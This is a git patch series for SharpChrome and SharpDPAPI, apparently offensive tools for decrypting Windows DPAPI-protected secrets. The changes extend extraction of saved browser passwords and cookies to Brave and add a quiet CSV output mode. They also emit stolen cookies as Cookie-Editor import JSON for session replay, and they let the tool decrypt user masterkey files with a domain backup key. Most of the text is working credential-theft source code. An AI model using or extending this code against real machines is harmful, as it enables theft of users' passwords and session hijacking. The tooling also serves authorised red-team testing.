a/SharpChrome/Program.cs +++ b/SharpChrome/Program.cs @@ -39,7 +39,10 @@ private static void MainExecute(string commandName, Dictionary p Stopwatch sw = new Stopwatch(); sw.Start(); - Info.ShowLogo(); + if (!parsedArgs.ContainsKey("/quiet")) + { + Info.ShowLogo(); + } try { @@ -56,7 +59,11 @@ private static void MainExecute(string commandName, Dictionary p } sw.Stop(); - Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + + if (!parsedArgs.ContainsKey("/quiet")) + { + Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + } } public static string MainString(string command) diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index 27d8b72..7d20c5c 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -21,7 +21,7 @@ class Chrome // approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project // but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp - public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome") + public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome", bool quiet = false) { // triage all Edge/Chrome 'Login Data' files we can reach @@ -43,7 +43,10 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + if (!quiet) + { + Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -74,16 +77,21 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", dir); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } + else if (browser.ToLower() == "brave") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", dir); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet); } ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); @@ -105,23 +113,28 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } + else if (browser.ToLower() == "brave") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true, quiet); } - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey, quiet); } } - public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome") + public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome", bool quiet = false) { // triage all Edge/Chrome Cookies we can reach @@ -173,19 +186,24 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", dir); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } + else if (browser.ToLower() == "brave") + { + cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", dir); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect, quiet); } - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey, quiet); } } } @@ -206,19 +224,24 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } + else if (browser.ToLower() == "brave") + { + cookiePath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } else { - Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); return; } if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true, quiet); // force /unprotect } - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey, quiet); } } @@ -240,7 +263,7 @@ public static void TriageStateKeys(Dictionary MasterKeys, string { if (File.Exists(target)) { - byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect); + byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect, false); } else { @@ -275,13 +298,13 @@ public static void TriageStateKeys(Dictionary MasterKeys, string if (File.Exists(chromeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect); + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect, false); } if (File.Exists(edgeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect); + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect, false); } } } @@ -297,19 +320,19 @@ public static void TriageStateKeys(Dictionary MasterKeys, string if (File.Exists(chromeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true); // force /unprotect + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true, false); // force /unprotect } if (File.Exists(edgeAESStateKeyPath)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true); // force /unprotect + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true, false); // force /unprotect } } } } - public static void ParseChromeLogins(Dictionary MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null) + public static void ParseChromeLogins(Dictionary MasterKeys, string loginDataFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, byte[] aesStateKey = null, bool quiet = false) { // takes an individual 'Login Data' file path and performs decryption/triage on it if (!File.Exists(loginDataFilePath)) @@ -406,7 +429,14 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri { if (!someResults) { - Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); + if (!quiet) + { + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); + } + else + { + Console.WriteLine("SEP=,"); + } Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password"); } someResults = true; @@ -425,7 +455,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri database.Close(); } - public static void ParseChromeCookies(Dictionary MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null) + public static void ParseChromeCookies(Dictionary MasterKeys, string cookieFilePath, string displayFormat = "table", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, byte[] aesStateKey = null, bool quiet = false) { // takes an individual Cookies file path and performs decryption/triage on it @@ -473,7 +503,6 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // new, seems to work with partial indexing?? "/giphy table flip" string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; List results = database.Query2(query, false); - int id = 1; // used if cookies "never expire" for json output DateTime epoch = new DateTime(1601, 1, 1); @@ -516,33 +545,45 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str DateTime dateCreated = SharpDPAPI.Helpers.ConvertToDateTime(row.column[0].Value.ToString()); DateTime expires = SharpDPAPI.Helpers.ConvertToDateTime(row.column[4].Value.ToString()); + + double expDateDouble = 0; + long expDate; + Int64.TryParse(row.column[4].Value.ToString(), out expDate); + // https://github.com/djhohnstein/SharpChrome/issues/1 + if ((expDate / 1000000.000000000000) - 11644473600 > 0) + expDateDouble = (expDate / 1000000.000000000000000) - 11644473600; + DateTime lastAccess = SharpDPAPI.Helpers.ConvertToDateTime(row.column[5].Value.ToString()); // check conditions that will determine whether we're displaying this cookie entry bool displayValue = false; - if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) - { - displayValue = true; - } - else if (!String.IsNullOrEmpty(cookieRegex)) - { - Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase); - if (match.Success) - { - displayValue = true; - } - } - else if (!String.IsNullOrEmpty(urlRegex)) + // if there is a regex + if (!String.IsNullOrEmpty(cookieRegex) || !String.IsNullOrEmpty(urlRegex)) { - Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase); - if (match.Success) + // if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration + if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { - displayValue = true; + if (!String.IsNullOrEmpty(cookieRegex)) + { + Match match = Regex.Match(row.column[2].Value.ToString(), cookieRegex, RegexOptions.IgnoreCase); + if (match.Success) + { + displayValue = true; + } + } + else if (!String.IsNullOrEmpty(urlRegex)) + { + Match match = Regex.Match(row.column[1].Value.ToString(), urlRegex, RegexOptions.IgnoreCase); + if (match.Success) + { + displayValue = true; + } + } } } - else if (expires > DateTime.UtcNow) - { + else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { + // if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration displayValue = true; } @@ -565,15 +606,22 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { if (!someResults) { - Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); - Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); + if (!quiet) + { + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nCookie-Editor import JSON:\r\n\r\n[\r\n{{", cookieFilePath); + } + else + { + Console.WriteLine("[\r\n{"); + } } else { - Console.WriteLine("},\r\n{\r\n"); + Console.WriteLine("},\r\n{"); } + someResults = true; - + Console.WriteLine(" \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value))); if (setneverexpire) { @@ -581,26 +629,34 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } else { - Console.WriteLine(" \"expirationDate\": {0},", row.column[4].Value.ToString()); + if (expDateDouble != 0) + { + Console.WriteLine(" \"expirationDate\": {0},", expDateDouble); + } } Console.WriteLine(" \"hostOnly\": false,"); - Console.WriteLine(" \"httpOnly\": false,"); + Console.WriteLine(" \"httpOnly\": true,"); Console.WriteLine(" \"name\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[2].Value))); Console.WriteLine(" \"path\": \"{0}\",", String.Format("{0}", row.column[3].Value)); Console.WriteLine(" \"sameSite\": \"no_restriction\","); - Console.WriteLine(" \"secure\": false,"); - Console.WriteLine(" \"session\": false,"); - Console.WriteLine(" \"storeId\": \"0\","); - Console.WriteLine(" \"value\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(value)); - Console.WriteLine(" \"id\": \"{0}\"", id); - id++; + Console.WriteLine(" \"secure\": true,"); + Console.WriteLine(" \"session\": true,"); + Console.WriteLine(" \"storeId\": null,"); + Console.WriteLine(" \"value\": \"{0}\"", SharpDPAPI.Helpers.CleanForJSON(value)); } else { // csv output if (!someResults) { - Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); + if (!quiet) + { + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); + } + else + { + Console.WriteLine("SEP=,"); + } Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc"); } someResults = true; @@ -688,7 +744,7 @@ public static byte[] DecryptBase64StateKey(Dictionary MasterKeys return null; } - public static byte[] GetStateKey(Dictionary MasterKeys, string localStatePath, bool unprotect) + public static byte[] GetStateKey(Dictionary MasterKeys, string localStatePath, bool unprotect, bool quiet) { // gets the base64 version of the encrypted state key // and then decrypts it using either masterkeys or DPAPI functions @@ -698,14 +754,23 @@ public static byte[] GetStateKey(Dictionary MasterKeys, string l if (stateKey != null) { - Console.WriteLine("\r\n\r\n[*] AES state key file : {0}", localStatePath); + if (!quiet) + { + Console.WriteLine("\r\n\r\n[*] AES state key file : {0}", localStatePath); + } if (stateKey.Length == 32) { - Console.WriteLine("[*] AES state key : {0}\r\n", BitConverter.ToString(stateKey).Replace("-", "")); + if (!quiet) + { + Console.WriteLine("[*] AES state key : {0}\r\n", BitConverter.ToString(stateKey).Replace("-", "")); + } } else { - Console.WriteLine("[*] AES state key : {0}\r\n", Encoding.ASCII.GetString(stateKey)); + if (!quiet) + { + Console.WriteLine("[*] AES state key : {0}\r\n", Encoding.ASCII.GetString(stateKey)); + } return null; } } From cfed81d01f40eb581aaa8649bf3f937014869ea5 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Thu, 5 Nov 2020 09:21:40 -0800 Subject: [PATCH 04/60] Added /target support for 'masterkeys' -Added ability to manually decrypt a target masterkey file/folder --- SharpDPAPI/Commands/Masterkeys.cs | 25 ++-- SharpDPAPI/Domain/Info.cs | 10 +- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/lib/Dpapi.cs | 2 +- SharpDPAPI/lib/Helpers.cs | 5 + SharpDPAPI/lib/Triage.cs | 185 +++++++++++++++++++----------- 6 files changed, 151 insertions(+), 78 deletions(-) diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index 8699b66..d8f2562 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -32,6 +32,11 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Triaging remote server: {0}\r\n", arguments["/server"]); mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, arguments["/server"]); } + else if (arguments.ContainsKey("/target")) + { + Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); + mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, "", "", arguments["/target"]); + } else { Console.WriteLine(); @@ -57,17 +62,19 @@ public void Execute(Dictionary arguments) return; } - - if (mappings.Count == 0) + if (!arguments.ContainsKey("/password")) { - Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); - } - else - { - Console.WriteLine("\r\n[*] User master key cache:\r\n"); - foreach (KeyValuePair kvp in mappings) + if (mappings.Count == 0) + { + Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); + } + else { - Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + Console.WriteLine("\r\n[*] User master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } } } } diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index 178fbad..e2cd4f0 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -41,9 +41,13 @@ public static void ShowUsage() User Triage: - Triage all reachable user masterkey files, use a domain backup key to decrypt all that are found: + Arguments for the 'masterkeys' command: - SharpDPAPI masterkeys + /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) + /server:SERVER - triage a remote server, assuming admin access Arguments for the certificates|credentials|vaults|rdg|triage|blob|ps commands: @@ -59,7 +63,7 @@ public static void ShowUsage() Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder /server:SERVER - triage a remote server, assuming admin access - Note: must use with /pvk:KEY + Note: must use with /pvk:KEY or /password:X Note: not applicable to 'blob' or 'ps' commands diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 6f0b6f1..92b46a0 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.9.0"; + public static string version = "1.9.1"; } } diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index bd46c40..e09502c 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -232,6 +232,7 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, { var plaintextBytes = DescribeDPAPICertBlob(certificateBytes, MasterKeys); var keypairTuple = new Tuple("", ""); + if (plaintextBytes.Length > 0) { var decryptedRSATuple = ParseDecCertBlob(plaintextBytes); @@ -270,7 +271,6 @@ public static Tuple DescribeCertificate(byte[] certificateBytes, int BufferSize = 64; int Index = 0; var sb = new StringBuilder(); - sb.AppendLine("-----BEGIN CERTIFICATE-----"); for (var i = 0; i < b64cert.Length; i += 64) { diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs index db76206..3370592 100755 --- a/SharpDPAPI/lib/Helpers.cs +++ b/SharpDPAPI/lib/Helpers.cs @@ -588,5 +588,10 @@ static bool IsEmptyLocate(T[] array, T[] candidate) || candidate.Length == 0 || candidate.Length > array.Length; } + + public static bool IsGuid(string value) + { + return Regex.IsMatch(value, @"^(\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1})$"); + } } } \ No newline at end of file diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index c006fd0..ec30709 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -10,98 +10,160 @@ namespace SharpDPAPI { public class Triage { - public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "") + public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "", string target = "") { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied var mappings = new Dictionary(); var canAccess = false; - if (!String.IsNullOrEmpty(computerName)) + if (!String.IsNullOrEmpty(target)) { - canAccess = Helpers.TestRemote(computerName); - if (!canAccess) + // if we're targeting specific masterkey files + + if (backupKeyBytes.Length == 0) { - return new Dictionary(); + // currently only backupkey is supported + Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...'"); + return mappings; } - } - - string[] userDirs; - - if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) - { - // if elevated, triage ALL reachable masterkeys - - var userFolder = !String.IsNullOrEmpty(computerName) ? - $"\\\\{computerName}\\C$\\Users\\" : - $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; - userDirs = Directory.GetDirectories(userFolder); - } - else - { - // otherwise we're only triaging the current user's path - userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; - } - - foreach (var dir in userDirs) - { - if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) - continue; + if (!File.Exists(target) && !Directory.Exists(target)) + { + Console.WriteLine($"[X] The target '{target}' doesn't exist!"); + return mappings; + } - var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; - if (!Directory.Exists(userDPAPIBasePath)) - continue; + KeyValuePair plaintextMasterKey; - var directories = Directory.GetDirectories(userDPAPIBasePath); - foreach (var directory in directories) + if ((File.GetAttributes(target) & FileAttributes.Directory) == FileAttributes.Directory) { - var files = Directory.GetFiles(directory); - var isDomain = false; - byte[] hmacBytes = null; + // if we're triaging a folder of masterkeys + var files = Directory.GetFiles(target); foreach (var file in files) { - // if the BK- file exists, assume this is a domain user. - if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) + try + { + FileInfo f = new FileInfo(file); + + if (Helpers.IsGuid(f.Name)) + { + var masterKeyBytes = File.ReadAllBytes(file); + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + } + catch (Exception e) { - isDomain = true; // means use the NTLM of the user password instead of the SHA1 + Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); } } + } + else + { + // otherwise we're triaging one file + try + { + var masterKeyBytes = File.ReadAllBytes(target); + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); + } + } + } - if (!String.IsNullOrEmpty(password)) + else + { + if (!String.IsNullOrEmpty(computerName)) + { + canAccess = Helpers.TestRemote(computerName); + if (!canAccess) { - hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + return new Dictionary(); } + } - foreach (var file in files) + string[] userDirs; + + if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) + { + // if elevated, triage ALL reachable masterkeys + + var userFolder = !String.IsNullOrEmpty(computerName) ? + $"\\\\{computerName}\\C$\\Users\\" : + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + + userDirs = Directory.GetDirectories(userFolder); + } + else + { + // otherwise we're only triaging the current user's path + userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; + } + + foreach (var dir in userDirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; + if (!Directory.Exists(userDPAPIBasePath)) + continue; + + var directories = Directory.GetDirectories(userDPAPIBasePath); + foreach (var directory in directories) { - if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) - continue; + var files = Directory.GetFiles(directory); + var isDomain = false; + byte[] hmacBytes = null; - if (show) + foreach (var file in files) { - Console.WriteLine("[*] Found MasterKey : {0}", file); + // if the BK- file exists, assume this is a domain user. + if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) + { + isDomain = true; // means use the NTLM of the user password instead of the SHA1 + } } - var masterKeyBytes = File.ReadAllBytes(file); - try + if (!String.IsNullOrEmpty(password)) + { + hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + } + + foreach (var file in files) { - KeyValuePair plaintextMasterKey; - if (!String.IsNullOrEmpty(password)) + if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + continue; + + if (show) { - plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); + Console.WriteLine("[*] Found MasterKey : {0}", file); } - else + + var masterKeyBytes = File.ReadAllBytes(file); + try { - plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + KeyValuePair plaintextMasterKey; + if (!String.IsNullOrEmpty(password)) + { + plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); + } + else + { + plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); + } + + mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); + } + catch (Exception e) + { + Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } - - mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); - } - catch (Exception e) - { - Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } @@ -532,11 +594,6 @@ public static void TriageCertFile(string certFilePath, Dictionary Date: Thu, 5 Nov 2020 09:22:26 -0800 Subject: [PATCH 05/60] Updated CHANGELOG.md --- CHANGELOG.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 19723a7..b2488cb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,19 +5,20 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [1.9.0] - 2020-09-02 +## [1.9.1] - 2020-11-05 + +### Added +* **SharpDPAPI** project + * Ability to triage masterkey targets (or folder of targets) manually ### Added * **SharpChrome** project - * Added the ability to target Chromium-based Edge instances for `cookies` and `logins` with `/browser:edge` - * Added the `statekeys` command to triage reachable Chromiun AES state keys. - * Added the ability to supply `/statekey:X` to `cookies` and `logins` commands. + * Added Chromium-based brave support + * Added `/quiet` flag for csv output ### Fixed * **SharpChrome** project - * Cookie expires filtering for 0 values. - -* the **/consoleoutfile** argument to redirect console output to a file, and the public `MainString("command")` function to work over PSRemoting (see end of README.md) + * Filtering fixes for cookies ## [1.8.0] - 2020-07-13 From 408e98ecd3c5028b4bca84469fa4c305581c3b00 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Mon, 4 Jan 2021 18:24:56 -0800 Subject: [PATCH 06/60] Version 1.9.2 -User certificate extraction corrected -Added more certificate information on extraction (including Enhanced Key Usages) -Fixed a few formatting issues -Added /target option for machinecertificates command --- CHANGELOG.md | 13 + SharpChrome/Commands/Cookies.cs | 2 +- SharpChrome/SharpChrome.csproj | 7 + SharpChrome/app.config | 3 + SharpDPAPI/Commands/Certificate.cs | 4 +- SharpDPAPI/Commands/MachineCertificates.cs | 15 +- 